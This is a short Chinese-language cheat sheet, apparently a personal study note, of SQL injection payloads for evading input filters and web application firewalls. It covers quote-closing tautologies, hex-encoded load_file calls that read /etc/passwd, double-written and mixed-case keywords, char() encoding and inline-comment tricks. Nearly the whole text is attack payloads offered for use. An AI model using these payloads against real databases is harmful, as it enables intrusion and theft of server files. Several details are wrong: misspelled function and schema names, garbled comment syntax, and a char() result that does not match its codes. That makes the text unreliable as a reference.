注入绕过技巧
一, 闭合与逻辑
作用:
- 绕过后端对 or 或 and 的禁用
- 绕过后端对空格的禁用
例如:
用 ||, && 代替 or, and
用括号代替空格
payload: 1’ or ‘1’='1
闭合: id=‘1’ or ‘1’=‘1’
payload: 1’ || ‘1’='1
闭合: id=‘1’ || ‘1’=‘1’
where id<10&&content like ‘%作者%’
select(username)from(user)
二, 十六进制字符串绕过引号转义
作用:
绕过后端对字符串中单引号的屏蔽.
例如:
select hex(‘/etc/passwd’) # 输出: 2F6574632F706173737764
select load_file(0x2F6574632F706173737764)
select hex(‘learn’) # 输出: 6C6561726E
select groupconcat(table_name) from information.tables where table_schema=0x6C6561726E
三, WAF 绕过
1. 双写绕过
作用:
绕过后端对 select, and, or 等关键字的过滤, 比如替换关键字为空.
例如:
selselectect 替换后: select
anandd 替换后: and
2. 大小写绕过
例如:
SelecT, AnD, Or
3. 编码绕过
Base64, ASCII, 16进制
例如:
select char(49)
结果: 1
select concat( char(45), char(50), char(65) )
结果: 12A
4. 特殊字符绕过
内连注释:
select username from /!user/
select username from /!user/ /!union/ select 77